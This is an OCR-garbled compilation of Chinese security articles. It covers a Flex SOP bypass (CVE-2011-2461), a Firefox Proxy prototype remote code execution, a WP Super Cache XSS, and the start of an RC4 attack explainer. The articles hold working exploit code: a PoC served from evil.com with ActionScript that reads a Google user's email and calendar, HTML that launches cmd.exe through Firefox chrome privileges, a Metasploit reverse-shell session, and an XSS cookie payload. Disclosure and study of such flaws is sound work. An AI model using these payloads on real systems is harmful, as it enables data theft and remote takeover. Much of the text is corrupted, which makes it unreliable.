// TEH XS AE—* Resource Module #1774t P
while (i<n) {
[/ RG] URL HEA T ResourceModuleRSLitem 2§
resourceModuleNode = new ResourceModuleRSLItem(resourceModuleURLs[i]);
//#F1" resourceModuleNode #%18 7115 rsiList 77
rsiList.push(resourceModuleNode);
++;
k
k
// rslList #EfEA RSLListLoader

rsiListLoader = new RSLListLoader(rslList);

// BB v rsiListLoader H9 load 777
rsiListLoader.load(mx_internal::rslProgressHandler, mx_internal::rslCompleteHandler,

mx_internal::rslErrorHandler, mx_internal::rslErrorHandler, mx_internal::rslErrorHandler);

3.mx.core.RSLListLoader:

HSEE % BR RN HIE PR AL

public function RSLListLoader(rslList:Array){
rslList = [];

super();

//rsllist #E1EE 45 25 FT N rsiList JG1#
this.rsiList = rsiList;

}

BEEE L B A rsilistLoader.load A% :

public  function  load(progressHandler:Function, completeHandler:Function, ioErrorHandler:Function,

securityErrorHandler:Function, rslErrorHandler:Function):void{

//load BRI loadNext 547
loadNext();
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}

P42 ER loadNext:

private function loadNext():void{
if (fisDone()){
currentindex++;
if (currentindex < rsiList.length){
rsiList[currentindex].load(chainedProgressHandler, listCompleteHandler, listIOErrorHandler,
listSecurityErrorHandler, chainedRSLErrorHandler);
K
k
}

A LLEH, SEbr B fEIR A rsilist BAE—A4~JC % (ResourceModuleRSLitem) ] load 77
%
4.mx.core.ResourceModuleRSLItem:

2 BNV F 12351 load J5ik:

override public function load(progressHandler:Function, completeHandler:Function, ioErrorHandler:Function,

securityErrorHandler:Function, rslErrorHandler:Function):void{

1 OV — B P
var resourceManager:IResourceManager = ResourceManager.getinstance();
/T 55 IR B FE# loadResourceModule

var eventDispatcher:IEventDispatcher = resourceManager.loadResourceModule(url);

}

Hosest 7 — K, f/a ] ULES], i1 E flashvars 177 R Lkr b 42 @it 8
resourceManager.loadResourceModule >KSZILAT .
5.mx.resources.ResourceManagerimpl:

loadResourceModule B4k 47 3| url Z40# A F| | ModuleManager.getModule H':

public function loadResourceModule(url:String, updateFlag:Boolean=true,

applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null):IEventDispatcher{
modulelnfo = ModuleManager.getModule(url);

// 72 E] modulelnfo /&, BRZZ 1/ modulelnfo Hload 7777
modulelnfo.load(applicationDomain, securityDomain);

}

6. mx.modules.ModuleManagerimpl:

public function getModule(url:String):IModuleinfo{
var info:Modulelnfo = (moduleList[url] as Modulelnfo);
[/ U info ATFETE, JEL url 92406 —1 %7 H9 Modulelnfo SE4)
if (linfo){
info = new Modulelnfo(url);
modulelList[url] = info;

k
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/R [5] ModulelnfoProxy Z5H93E 61
return (new ModulelnfoProxy(info));

}

7. mx.modules.ModulelnfoProxy:

public function ModulelnfoProxy(info:Modulelnfo){
super();
//Modulelnfo HISEZHI#7ZA ModuleinfoProxy 1Y info J& 14+ 4

this.info = info;

MRERTT AT &, #5218 ModulelnfoProxy ] load J7¥%:

public  function load(applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null,

bytes:ByteArray=null):void{

/LR E R LRI HIAE info H load 7r7%,  ElIK/H Modulelnfo SE£41H7 load 7777

info.load(applicationDomain, securityDomain, bytes);

}

8. mx.modules.Modulelnfo:
W ABNVMEEE B H 52 (2)+ PPT BIRBFIMAL 4> CUNm¥tn: SHEERAE UK 0x06
A DI

public  function load(applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null,

bytes:ByteArray=null):void{

var r:URLRequest = new URLRequest(_url);
// GY#—1* LoaderContext -> ¢

var c:LoaderContext = new LoaderContext();

c.applicationDomain = (applicationDomain) ? applicationDomain : new
ApplicationDomain(ApplicationDomain.currentDomain);

c.securityDomain = securityDomain;
// 1% & LoaderContext /i securityDomain £/ SecurityDomain.currentDomain

if ((((securityDomain == null)) && ((Security.sandboxType == Security.REMOTE)))){

c.securityDomain = SecurityDomain.currentDomain;
%

loader = new Loader();

VIR LY 2 FTHT &I ) P B
loader.load(r, c);

}

DLl BEAMRAL AR, W) Ak & AE7E c.securityDomain = SecurityDomain.currentDomain;iX
—A)fCHS . 7E Adobe B 5 FEXT T securityDomain FfERE b, W LLE BIXPE— Bk (IE
BHiE) : “FEB T, B2 1.com [ FLASH A SCAEINEL 1.com N FLASH B 301, B 3CfF
5 A S EAA M 22408 mEsEiE oL, B4 1.com Y FLASH A SCEEINEL 2.com T ()
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FLASH B SCHFIS, WG PR ESE: —MRBUIAGOL T Ing, it B X RES A SXHEAE
22 ats, 52, MERRRER: J—FhJ7iE 2 i i R e i ek 25008 H Bl R e B PR ik
BRI B U AR A FIE )22 A8, X Mom#Eor XgRry “FAnE Gmport
loading) ” o SAXINEIEF AR 7 —FjEidid Loader ] loadBytes Fi%i. 7E context
FERMERS, loadBytes M2 LN A F AR AT 221N . HREOE 0 F .

| loadBytes(bytes:ByteArray, context:LoaderContext = null):void

S —Fh 7k it % B LoaderContext [ securityDomain, ZRJ5 T load, SLAMCHD IR .

loaderContext.securityDomain = SecurityDomain.currentDomain;

loader.load(urlReq,loaderContext);

ATLLEH, cve-2011-2461 i KH 175 —F o AokitT T B AN, &&HasSHmT
Frosiia) /i, BT LLE BIFRAIE “ B .com” ) Flash B 4w 5 &R0, Ko S A nE;
“REN” B “Hbr.com” ) Flash A B, MIMATLAEEE “ HFf.com” FHRINZ, Mk 7-1-1:

FEMR

FlashA B#fF.com
B

Bir.com TRZE

. =R

loading

Flash B

o 2
Resource Module #=*r.com

K711
0x02 S5 534t :
Hsg, miB LmmEEE, FKRE google X /™% H A M H M T . B AL
https://www.google.com/wonderwheel/wonderwheel7.swf fFEASCHT UL 0] &7, ARAFATR]
DAL LAY

(http://evil.com/poc/test.html) :
<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%;, height:50%"></textarea>
<object width="100%" height="100%" type="application/x-shockwave-flash"
data="https://www.google.com/wonderwheel/wonderwheel7.swf">

<param name="allowscriptaccess" value="always">

<param name="flashvars" value="resourceModuleURLs=http.//evil.com/poc/URLr_google.swf">  </object>

XY, {§15 https://www.google.com/wonderwheel/wonderwheel7.swf $2 Ll “ SN
A 77 20 http://evil.com/poc/URLr_google.swf “ffiN\” 3K, Bl URLr_google.swf F
AL wonderwheel7.swf A8 R[22 438 HIREILAFTE evil.com R H & FlE —
crossdomain.xml 0¥ wonderwheel7.swf SRIN# e, GiXFE:

<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="www.google.com" />

</cross-domain-policy>
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URLr_google.swf 1] AS ARRSA T4, HSEASZIRAERGNG ok 7, S IE KMER 2 SR E — L8 DA

RMEREE EE R, AZH) , W

package {
import flash.display.Sprite;
import flash.text. TextField;
import flash.events. *;
import flash.net. * ;

import flash.external.Externalinterface;

public class URLr_google extends Sprite {
public static
var app: URLr_google;
private static

var email: String;

public
function main() : void {

app = new URLr_google();

public

function URLr_google() {
var url: String = "https://www.google.com/?gws_rd=cr";
var loader: URLLoader = new URLLoader();
configurelisteners(loader);

var request: URLRequest = new URLRequest(url);

try {

loader.load(request);

}catch(error: Error) {

Externalinterface.call("alert", "Unable to load requested document");

private
function configurelListeners(dispatcher: IEventDispatcher) : void {

dispatcher.addEventListener(Event. COMPLETE, completeHandler);
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private

function pingCalendar() : void {
var url: String = "https://www.google.com/calendar/";
var loader: URLLoader = new URLLoader();
configurelistenersCalendar(loader);

var request: URLRequest = new URLRequest(url);

try {

loader.load(request);

}catch(error: Error) {

Externalinterface.call("alert", "Unable to load requested document");

private
function configurelistenersCalendar(dispatcher: IEventDispatcher) : void {

dispatcher.addEventListener(Event. COMPLETE, completeHandlerCalendar);

private
function getAgenda() : void {

var url: String

"https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=38&mode=AGENDA&src="+ email;

var loader: URLLoader = new URLLoader();
configurelistenersAgenda(loader);

var request: URLRequest = new URLRequest(url);

try {

loader.load(request);

}catch(error: Error) {

Externalinterface.call("alert", "Unable to load requested document");

private
function configureListenersAgenda(dispatcher: IEventDispatcher) : void {

dispatcher.addEventListener(Event. COMPLETE, completeHandlerAgenda);
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private
function completeHandler(event: Event) : void {
var loader: URLLoader = URLLoader(event.target);
var s: String = loader.data;
var pattern: RegExp = /[a-20-9._-]+@[a-z0-9._-]+\.[a-z]+/i;

var results: Array = s.match(pattern);

if (results.length > 0) {
email = results[0];
Externalinterface.call("eval”, "alert('Email address: " + email + "')");

pingCalendar();

private
function completeHandlerCalendar(event: Event) : void {

getAgenda();

private
function completeHandlerAgenda(event: Event) : void {
var loader: URLLoader = URLLoader(event.target);

var res: String = escape(loader.data);

Externalinterface.call("eval", "document.getElementByld('x').value="" + res +
":document.getElementByld('x').value=unescape(document.getElementByld('x').value)");
var pattern: RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results: Array = unescape(res).match(pattern);
if (results.length > 0) {
var name: String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
Externalinterface.call("eval”, "alert('Name and surname:" + name +"')");
}
}
}
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}

AMNEAFRESChFEHEEKRH, HEERE 4, BRMARMREE, WA 7-1-2:

SEENEES GOOGLE.COM E=uhs
IEEIE

hiEpocTlE

DEERfEwonderwheel 7.5

SswitJRIE&EHE)

crossdomain.xml (

S FUN0EEURLr_goo

TFURLr_google.swfr
HHERER

EMERTEFEANER

K 7-1-2

XL MEG D EA AR flash SCHF, DUED T

https://appmaker.sinaapp.com/cve-2011-2461.htm ‘

0x03 YR AL -

FrliZ i, SCbr BRI LS 4wk FLASH SKREF A R FEID 2 B AFAE, R SCES
5 H T A T B ParrotNG (java 4w’5, F&T swfdump) RIRBIH IRIFK SWF X4, 7] PALE
T ATAEE ATX A TR, thm] LUE burp #AFRIFLHRAE XA TH, Wl 7-1-3~7-1-4:

Burp Intruder Repeater Window Help

[Target | Proxy | Spider [ Scanner | intruder | Repeater | Seauencer | Decoder | Comparer | Extender | Options | Alerts |

Jﬂlsuks] Scan queue | Live scanning | options |

© http://127.0.0.1 [ @ Adobe Flex resourceModuleURLs SOP Bypass (CVE-2011-2461)
* i http://start.ubuntu.com i Cookie without HttpOnly flag set
i Frameable response (potential Clickjacking)
i Content type incorrectly stated

Advisory

0 Adobe Flex resourceModuleURLs SOP Bypass (CVE-2011-2461)

Ivl

N
Issue Adobe FlexPesourceModuleURLs SOP Bypass (CVE-2011-2461)
Severity: High

Confidence: Certain

Host: http://127.0.0.1

Path. javf.swf

Issue detail

Burp Scanner (ParrotNG extension) has identified the following vulnerable SWF file: http://127.0.0.1:80/avf.swf

This Flex application is vuinerable to CVE-2011-2461. Hosting vulnerable SWF files leads to an "indirect” Same-Origin-Policy bypass in fully
patched web browsers and plugins. An attacker can inject a malicious localization resource using Flex's resourceModuleURLS FlashVar. Since
the malicious SWF inherits the security domain of the vulnerable SWF, it can access HTTP responses from the victim's domain,

Issue background

Starting from Flex version 3, Adobe introduced runtime localzations. A new component in the Flex framework — the ResourceManager —
allows access to localized resources at runtime. Any components that extend UlComponent, Formatter, or Validator have a
ResourceManagerproperty, which lets the SWF file to access the singleton instance of the resource manager. By using this new functionality,
users can pass localzation resources via a resourceModuleURLs FlashVar, instead of embedding all resources within the main SWF.

In Adobe Flex SOK between 3.x and 4,5.1, compiled SWF files do NOT properly validate the security domain of the resource module, leading to
same-origin requests and potentially Flash XSS (in older versions of the Flash player). This vulnerabilty is tracked as CVE-2011-2461,

Issue remediation
A few workarounds are possible:

® Recompile the vulnerable SWF file with the latest Apache Flex SDK, including static libraries
® Patch the vulnerable SWF file with the official Adobe patch tool, as illustrated in the Adobe Tech Advisory
@ If not used, delete the vulnerable SWF file

drops.wooyun.orgy
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"File Edit View Search Terminal Help

K 714

0x04 EE 5B
XX AN, EE S B R REA a0 LA
1: EHIFAKTHE
2: X RHZZRRA SDK S AL swf XA, TLAMERBTRA KT R TREmiE—T,
HE R E LA swf #4740 T OUhgiddon: BE THOAMHE SR 0x06 ZH% T .
288, WA CRIREE, HERINMESLG T .
3: K swi SEAFAE 22 4 XU IR s BEUR SO T RIS R340 T, AT i KRS T 288 )
4: JFREAE G ITATINS, POZRER AR “SARNE” . £ Loader 2K, M
ZATINZER 1) URL JEAT G2 4
0x05 Z5i5:
JE3C: “There are still many more websites that are hosting vulnerable SWF files out there. Please
help us making the Internet a safer place by reporting vulnerable files to the respective website's
owners.”
I “RAEIEARZHA AN, KB THEERS R 7
B RAIREAER 7
0x06 %
https://www.adobe.com/support/security/bulletins/apsb11-25.html
http://blog.nibblesec.org/201503/the-old-is-new-again-cve-2011-2461-is.html
http://blog.mindedsecurity.com/2015/03/exploiting-cve-2011-2461-on-googlecom.html
http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf674ba-7fff.html
http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf69084-7f3c.html
H#WS2db454920e96a9e51e63e3d11c0bf6119¢-8000
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/LoaderConte
xt.html
SCHFTIR BN swf B85 T A Nhik:
https://helpx.adobe.com/flash-builder/kb/flex-security-issue-apsb11-25.html

(&3058) JiiEgwiE: BETEALAE
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#2¥ Firefox 31~34 mEar & HATIRIFA K247

{E# : phithon
KE: B=HRE - WooYun
Mik:  http://drops.wooyun.org

0x00 B 5 :

BB ], = BFPEAR 22 D0 Y 2% Fh oW IR AR 2 T R S8 i A i A 40T, L Bl i i b i

A E =R EES, XN T2 NEEERIE . 52, 1752495 1X AN K E 2B 3R dkom

PIPEE T, HEAR tH UAF 3% B e T R FH R SR AR A AR RIAE, (L G SR A5 B B 28 4R ARk 1 — 28

AR JE 4 DB RCE, R — A RMIL TS MIE . CVE-2014-8638 Hi 2 iX i — Mg, 1
S22 A B (shan) ™ (zhai) W B A8, 1172 K4 0 50 1 Firefox. ‘&t javascript &40 i3

N ECMAScript 6 I AR5 38 2 1) — AN U ECH B AR .

0x01 YR R BN.:

Firefox &5 55| N\ ECMAScript 6 4 PERI N %25, Proxy 2 —4> ECMAScript 6 %54, ‘&1 LA

2K hook javascript J 4= [ get/set 77k, thanan LAY :

var x = {};
var p = Proxy(x, {
get: function() {
console.log('getter called!’);
return 'intercepted’;
}
set: function() {

console.log('setter called!’);

}
Y
console.log(p.foo);
p.bar=1;
WAT R 2B, W 721,
var x = {%};
var p = Proxy(x, 1

get: fTunction() {
console.log( 'getter called! ");
return "intercepted"’;

T
set: function{) {

console.log( ' 'setter called! " );
ke

s
console.log(p.foo);
p.bar = 1;

1

"getter called!™

"intercepted"

“"setter called!"™

drops. wooyun.org
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XANTTEN javascript JEN T HT R, (HHATR T HHZ 4R @l Getter Fll Setter K S E(
ARG BB R javascript A5 N BIH R javascript AUHS 2 A, 1XLeARALTE Ja TH A 2
PR IR B2 BT, UM A AU« Chrome N B B T3 AN & R S 30T 1) 73

https://code.google.com/p/chromium/issues/detail?id=351787

http://researchcenter.paloaltonetworks.com/2014/12/google-chrome-exploitation-case-study/

KREFWALTEHOH A —F. SMEERIFR, JHATIE Proxy X ZAE A HALIT R 11
prototype i, o HBL—28m) @, Lhanin FACHD L RE 75 fei AR 55 2% «

document.__proto__ = Proxy.create({getPropertyDescriptor:function(){ while(1) {} }}); ‘

AiEBRbz Ab, VB Y IR A R BB LRI 5%, BrbAtse 22 ) mozilla B 5 T, firefox
£ 35 JRAMEE T XA ]

0x02 A M :

VB Ja Rl T a0 R 2

var props = {};
props['has'] = function(){

var chromeWin = open("chrome://browser/content/browser.xul", "x")();
k

document.__proto__ = Proxy.create(props)

TRAF R, HJIAAE Proxy H, ST — MR TR
“chrome://browser/content/browser.xul” [FJE {5, AR R RS TP C8 7 R FElE . iX
Ut B ARFRL UL TR 2 P AR 2 4T R, X AN R mT DLId e s o i ) 77 e

0x03 WHE RIRE 4

BATEEWEFTIF— NN chrome://browser/content/browser.xul BT, BMEH 4?7 KINF
HARAR 2 30 W88 —FF, #A B CRRRAUE . AR URI schemes &M AN [A] I ALBR - Chromium
HIRF AU Z chrome://downloads, Safari H/E file://, Firefox FIFFAUEZE chrome://, HELE
XA B javascript A D028 1 s s AR o B AFRATTRE X FE (Y javascript TR Z 3, L
WIHHAT shell 674 . VR 7] LLRE FTIT chrome://browser/content/browser.xul 3-7E35H1 4 R HAT
W TIARES Uinux/osx) :

function runCmd(cmd) {

var process = Components.classes["@mozilla.org/process/util;1"]
.createlnstance(Components.interfaces.nsIProcess);
var sh = Components.classes["@mozilla.org/file/local;1"]
.createlnstance(Components.interfaces.nslLocalFile);
sh.initWithPath("/bin/sh");
process.init(sh);
var args = ["-c", cmd];
process.run(true, args, args.length);
}
runCmd("touch /tmp/owned");

PATIG, TTLAR I /tmp/owned L2, touch fir AT HLTh . FTLL, — B # AR KA
RS FEANBIXAN TR, gl UIPATERE2 1 .

0x04 FEAARHS:

T2 AFENIS XA TR 2 AP A, 050 &% FIR S (SOP) K AN 2 e A IHE
http://attacker 38 i3 AR F] chrome://browser 38 . AL FIiaH02, 1E& LLATifHod 2%
AR 72
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https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/firefox_webidl_i

njection.rb

Y open M5 =N SHA £ N chrome” {11, H HAEHARFAUY docshell A, IBAFRAT
] URL 5t 2> LL“top-level frame” KIJE XA AT OBAL“E G ARM IR , JFHRALSEN

document X R (g — AN A EH TR « XFEME L, A —4 messageManager J& 14, At
517 17 HoAth docshell CREBUZ BT -

// abuse vulnerability to open window in chrome.//
var ¢ = new mozRTCPeerConnection;
c.createOffer(function(){} function(){

var w = window.open('chrome://browser/content/browser.xul’, 'top', 'chrome’);

// we can now reference the ‘messageManager’ property of the window's parent

alert(w.parent.messageManager)

N

messageManager J2 firefox 1 KIRFAL API, BRIEIELRFE (A ML (5 5. [FIFE, javascript tH2 1]
PLAEEIY), U2 fE A loadFrameScript B3

0x05 iy & AT :

VR FLSSX BT (R i mg, B JR R AT LUE RS metasploit exploit, A B POC # % &
YRIRIE ! 1 R RIXFEIT AL firefox Ja . it Y5 3 R f] ELRL..... 3 AE 2 — 5K R R
flE, nfEl 7-2-2:

HoOowWwW TO:

D&A\N A YORSE

VAN ogTOP

OQ%;;%

(D v 2 wigCLES @ venaw Tue LesS
(G) Cerw THE Face @ vrRAWw THE waR

B 7-2-2
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XF, HUREEE. TRIEH T metasploit, T > exploit KA 7. 73t 1 W F ) POC:

<!doctype html>
<html>
<body>
<script>
var opts = {"zqwessa123": "\n (function(){var process =
Components.classes[\"@mozilla.org/process/util;1\"].createlnstance(Components.interfaces.nslProcess);var sh =
Components.classes[\"@mozilla.org/file/local;1\"].createlnstance(Components.interfaces.nslLocalFile);sh.init Wit
hPath(\"C:\\\\windows\\\\system32\\\\cmd.exe\");process.init(sh);\nvar shell="calc.exe’;var args = [\"\/c\",
shell];\n process.run(true, args, args.length);})();\n\n"};
var key = opts['zqwessal23'];
var props = {};
props.has = function(n){
if (Iwindow.top.x && n=="nodeType') {
window.top.x=window.open("chrome.//browser/content/browser.xul", "x",
"chrome");
if (window.top.x) {
Object.setPrototypeOf(document, pro);
setTimeout(function(){
x.location="data:text/html,<iframe mozbrowser src="about:blank"></iframe>";
setTimeout(function(){
x.messageManager.loadFrameScript('data:, '+key, false);
setTimeout(function(){
x.close();
},100);
} 100)
}, 100);

}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));

</script>

The page has moved. <span style="text-decoration:underline;'>Click here</span> to be redirected.
</body>
</html>

R A2 LB e 5, Se B EE Proxy X%, SZI has /75, has FiESERR a2 hook T X4
B “in"$#4E, EARTT L Proxy SCARY%. SR )5 document ] prototype B N Proxy X%, IX#f
SEFR _EFRATEZE T document [ in #:4E, FF HaX B2 A RN . A0 < BT oFI 5 14T
chrome://browser/content/browser.xul, 375 7 messageManager &%, H data thid#4i& 7 —
A iframe, FERFEAT Y javascript fAALH LA data PRSI 2R

messageManager.loadFrameScript JI#, FAATHFAL APl V¥, [KATE docshell H, BT DL
HAEG K window X% . document Xt %, ALK alert. console 25 5V /2 I F ). opts
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X G H A — R javascript BU2 B S5 AT IR AP, JEid process.run $4T
C:\windows\System32\cmd.exe/c calc.exe, ZRAZFH —//NHEZE, Wk 7-2-3:

http://192.168.1...00/firefox.html +

& 192‘ e

The page

B C\windows\system32\cmd.exe

HEs
EHE(V) RHEE #=8H

K 7-2-3
—NE R POC BRILEEAE T o SR, A1FA 1 metesploit H ] firefox_proxy_prototype ik,
JE XA AE ) exploit B DA ELEZ 5 shell, 4[] 7-2-4:

msf > use exploit/multi/browser/firefox_proxy_prototype

msf exploit(firefox_proxy_prototype) > set payload firefox/shell_reverse_tcp
payload => firefox/shell_reverse_tcp

msf exploit(firefox_proxy_prototype) > set LHOST 10.211.55.2

LHOST => 10.211.55.2

msf exploit(firefox_proxy_prototype) > set SRVPORT 12306

SRVPORT => 12306

msf exploit(firefox_proxy_prototype) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.211,55.2:4444

msf exploit(firefox_proxy_prototype) > [*] Using URL: http://0.0.0.0:12306/mbEbugSmqwCLPP
[*] Local IP: http://192.168.199.212;12306/mIEbugSmqwCW1PP

[¥] Server started,

K 7-2-4
REAIHL 10.211.55.3 | Firefox WA/ 33, {ESCMVEEIN, 477
http://10.211.55.2:12306/mOEbugSmawCW1PP, [ miihi—4b, HIeIfk . EHL 2R F 2k,
P 7-2-5:
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msf exploit(firefox_proxy_prototype) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.211,55.2:4444
xploit(firefox_proxy_prototype) > [*] Using URL: http://0.0.0.0:12306/mOEbugSmqwCW1PP
Local IP: http://192.168.199.212:12306/mOEbugSmqwCW1PP

firefox_proxy_prototype - Gathering target information.
: firefox_proxy_prototype - Sending HTML response.
| Command shell session 1 opened (10.211.55.2:4444 -> 10,211,55.3:32416) at 2015-03-25 03:21:53 +0800
Sessions

Active sessions

1 shell firefox 10.211,55.2:4444 -> 10.211.55.3:32416 (10.211.55.3)

msf exploit(firefox_proxy_prototype) > sessions -i 1
[*] Starting interaction with 1...

whoami
whoami
60c\phithon
net user

net user

\\60C0 G060 ©

phithon
Q000000

7-2-5
KRS, ATUVEE], CAE T 10.211.55.3 B BIR shell.
0x06 HEHk}:
JR 3
https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-m
ozilla-firefox-proxy-prototype-rce-cve-2014-8636
AR FF33 FRAEX BT 2
http://dl.pconline.com.cn/html_2/1/104/id=42964&pn=0.html
Windows T #] POC:
http://mhz.pw/game/firefox/firefox.htm
— NN :
https://www.youtube.com/watch?v=18xCIXkhF-E
WEIRZ f, AFF BIRAEAR UL, (B EACHS i) DAMAE S & B R I 1) SR B 2
S ARAE X I B A IR R R o — N R, R — g, W RARAE BT R EE 4, X
2B FT R B AR
(&3058) JiiEgwiE: BETEALAE
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BLE FWFAMR

%1% WP Super Cache <= 1.4.2 T#fi% xss WA HT

{3 Yaseng
>k H :Xteam
M ik:http://xteam.baidu.com

EHAFR

. FH 44 % Wop super cache
SR R A N 143
KA ] 2014-4-10 14:20
I i M [IREXEN- Y I
T fE 3 51 f

I A

ligj:%A%\

WP Super Cache & AR A7 1 B SCHERSAL, 5 html 3CF 3] wp-contents/cache H 3%

X T wordpress F J (B 44 VR, MB35 B LS8 ) AR il — A key, JLH key 380 BXE 7 Ia) 24 1 DL THI
I P cookie M4 key KA BN 247 A i1 )5 6 Fam UL i 23 81 th v G247 1 ST A
N keyo HITX) key ARILJE il G GAFAEATE xss Il fil A Mot

http://127.0.0.1/cms/wordpress/wp-admin/options-general.php ?page=wpsupercache&tab=contents&listfiles=1&
_wpnonce=b468360c30#listfiles

S WP super Cache e % L
= X 127.0.0.1/cms/wordpress/wp-admin/options-general.php?page=wpsupercache&tab=contents&listfi
Dt YordPrass 4.1 LREEM! MTTHRWEL.
=308 WP Super Cache ¥
s BN

i 2
EAT N
o wie @ EEAT = x
127.0.0.1 EBORRAET :

o AR YPCache (12.23KB)
‘15 O = T 0
oy 0 Eidxifim
TR ¥P-Super—Cache (12_25KB) E
o 0 EUMAE
s
- RS ¥P-Cached X P
S e ™
Bretes ¢ URI =m E!;i P
¥ Super Cache

1 127.0.0. V/ eas/wordpress/ 127.0.0. 180/ cns/wordpress/
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2: R85 5 A
i 2> hook FTE UL I 1 FH BA % wp_super_cache_init SR¥JE LT .
file: wp-super-cache.1.4.2\wp-cache-phasel.php line:107

function wp_super_cache_init

get_wp_cache_key

get_wp_cache_key() T/} wp_cache_get_cookies_values
file :wp-super-cache.1.4.2\wp-cache-phasel.php line:360

function wp_cache_get_cookies_values

"

Sstring
Sregex = "/?wp-postpass | *comment_author_"
if ( defined( 'LOGGED_IN_COOKIE'

Sregex .= "[7" . preg_quote( constant( 'LOGGED_IN_COOKIE'
else

Sregex .= "[~wordpress_logged_in_"

Sregex .= "/"

while (Skey = key(S_COOKIE

if ( preg_match( Sregex, Skey
if (isset( SGLOBALS[ 'wp_super_cache_debug' SGLOBALS[ 'wp_super_cache_debug'

wp_cache_debug( "wp_cache_get_cookies_values: Sregex Cookie detected: Skey", 5

Sstring .= S_COOKIE[ Skey | . ","

next(S_COOKIE

reset(S_COOKIE

Sstring = do_cacheaction( 'wp_cache_get_cookies_values', Sstring

return Sstring

6 B AE AR AF 1L FF H A cookie 255 B 5 N\ wp-content\cache\meta H %
un file:wp-cache-94bbb0fe53ee08e617bce3f2d58f264f.meta

a:5:{s:7:"headers":a:4:{s:4:"Vary";s:12:"Vary: Cookie";s:12:"Content-Type" s:38:"Content-Type: text/html;
charset=UTF-8":5:10:"X-Pingback";s:53:"X-Pingback:
http://127.0.0.1/cms/wordpress/xmlirpc.php";s:13:"Last-Modified":s:44:"Last-Modified: Fri, 10 Apr 2015 06:08:45
GMT": }s:3:"uri";s:24:"127.0.0.1/cms/wordpress/":s:7:"blog_id";i:1;s:4:"post":i:0;s:3:"key":s:78:"127.0.0.180/cms/
wordpress/<script>alert(0)</script>,x@baidu.com,http.//2222,"

Ja & RE/NTULHl WP Super Cache WE > W% %8RS,
file:wp-super-cache.1.4.2\wp-cache.php line:2347

ksort( Scached._list ); //ZE17 X 1576 M wp-contents/cache X1 H K -
foreach( Scached_list as Sage => Sd ) {
foreach( $d as Sdetails ) {
echo "<tr Shg><td>Sc</td><td> <a href="http://{Sdetails[ 'uri' ]}'>" .
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Sdetails[ 'uri' ] . "</a></td><td>" . str_replace( Sdetails[ 'uri' ], "', Sdetails[ 'key'] ). "</td><td> {Sage}</td><td><a
href="". wp_nonce_url( add_query_arg( array( 'page' => 'wpsupercache', 'action' => 'deletewpcache’, 'uri' =>
base64_encode( Sdetails[ 'uri' ] ) ) ), 'wp-cache') . "#listfiles'>X</a></td></tr>\n";

Sflip = 15flip;

Sc++;

}

A3 & Sdetails[ 'key' ] 2K H T wp-content\cache\meta H [ S0, B H & A AR AT JE
3 THFI

I DA AT . Aok DA T B v 60 B AT AR BT B 22 A7 A B R A

GET /cms/wordpress/ HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: comment_author_url_{randstr}={poc} {randstr}

Connection: keep-alive

fH] . exp:
https://github.com/yaseng/pentest/blob/master/exploit/wp-super-cache-xss-exploit.py

B i ix

48 cookie T A B fG I 7 (<script> <img Z5 html F7%5)

%295 SSL/TLS Suffers 'Bar Mitzvah Attack'JgiR 41T

fE#: /MR
K H: sobug AN 75
Mk https://sobug.com/

AR

0x01 B & :
BRI 3SR, SSL FRIA Bar Mitzvah Attack il FE K X A2, WK 8-2-1:

2 e

“i y %
SSL/TLS Suffers 'Bar Mitzvah Attack’

= xOXg r e

ZEDETE, ° 4 G TS 32 B 2 52 FRIX
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TEF NI 24T B Black Hat Wil %244l |, Imperva A & {224 M Itsik Mantin VE4H/ 44
WAl B SR, IR T F Th AR A 59 T B O i I 1Y RCA N S — AN Kk 13 4F
(1) 1] R BT 3 B0 GBI RCA AN RSS2 8H, o vr I TR R R O i B N 2 5 S b (i 4k
A, AIREEL R EN, A REE, s EURE R . AMEULAT ssL Bl FRE, X
AR T EERE SR AR T SSL/TLS ek v] LAEAT Beihi Itsik Mantin /128 8 a0 SR B FF 201
A fe il A B b B N B

IR B P AR R R T AR M 55 A, SR AE RCA N By i — A L B e, Hp—H
EAEET—A RCA EHH, IRAEIPIRS S HES 565 B 3BT A6 e B 45 0 X AN 58 B 1570
BFEHEFI I 20 BN PRGA AL, #5214 FR O AT I 1) B AR S I 5 5
PR — KA o XL i i 7= A SO RS B, e B B MR B S
W7, i 8-2-2:

0 @149 A9l

| T e1Aa Aex

| ze1Ag Ae

| € =1Ag Aey
ZT 21Ag Aax
€T 21Ag Aa)y
tT 21Ag Ao
ST 21Ag Ay

e [ e o Ty

[ S -

Patternin [ (S B T B 8 1 1 o .
ey 0 G e e Most significant bits

[F S -

Least significant bits

o0 @1Ag andino
T @1Ag indino
z 21Ag indino
€ 21Ag indino

Pattern in
Most significant bits
Pseudo-random 6
stream
6east siénglkggabn% %ig
OBUG#*=
5]

8-2-2

ERF U, RCA INEH N T FAT A N ATIEE P AR s thilch, RS Fm
W LB RS A RS, N T RSS9 B0 S i 8 A TN
BERAE, N RA EEIPRE, S - SHRHTINESE NN L, MRS
BN T %M R %,

BT AT 2 HRRTEE—AN 100 TSR, © R UH T8 —4 100 752 {4
P AT RS —A 100 T RS2 FAT R E.

M T SSL R TSR 7 ) B4 —Inas g B o B (SSL AL A8 1 36 AN L ok
2] 64 NI SCEIE R A B . X sh R IR VEAn A 8-2-3:
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Client Server

